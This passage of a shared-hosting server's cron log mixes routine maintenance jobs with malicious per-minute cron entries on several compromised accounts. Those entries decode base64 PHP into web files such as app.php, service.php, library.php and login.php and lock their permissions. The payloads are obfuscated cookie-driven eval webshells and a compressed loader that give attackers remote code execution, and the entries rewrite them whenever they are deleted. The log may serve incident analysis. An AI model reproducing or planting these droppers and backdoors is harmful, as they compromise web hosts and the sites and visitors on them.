ID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:34:01 medusa CROND[16922]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:34:01 medusa CROND[16924]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:34:01 medusa CROND[16923]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:34:01 medusa CROND[16925]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:34:01 medusa CROND[16921]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:34:01 medusa CROND[16931]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:35:01 medusa CROND[9559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:35:01 medusa CROND[9568]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9570]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:35:01 medusa CROND[9616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9713]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:35:01 medusa CROND[9714]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:35:01 medusa CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:35:01 medusa CROND[9717]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 13:35:01 medusa CROND[9718]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:35:01 medusa CROND[9716]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:35:01 medusa CROND[9722]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:35:01 medusa CROND[9725]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:35:01 medusa CROND[9723]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:35:01 medusa CROND[9729]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:35:01 medusa CROND[9735]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:35:01 medusa CROND[9742]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:35:01 medusa CROND[9744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 13:35:01 medusa CROND[9747]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:35:01 medusa CROND[9748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9749]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:35:01 medusa CROND[9727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:35:01 medusa CROND[9746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:36:01 medusa CROND[1851]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:36:01 medusa CROND[1948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:36:01 medusa CROND[1950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:36:01 medusa CROND[1951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:36:01 medusa CROND[1953]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:36:01 medusa CROND[1954]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:36:01 medusa CROND[1956]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:36:01 medusa CROND[1960]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:36:01 medusa CROND[1963]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:36:01 medusa CROND[1965]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:36:01 medusa CROND[1966]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:36:01 medusa CROND[1964]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
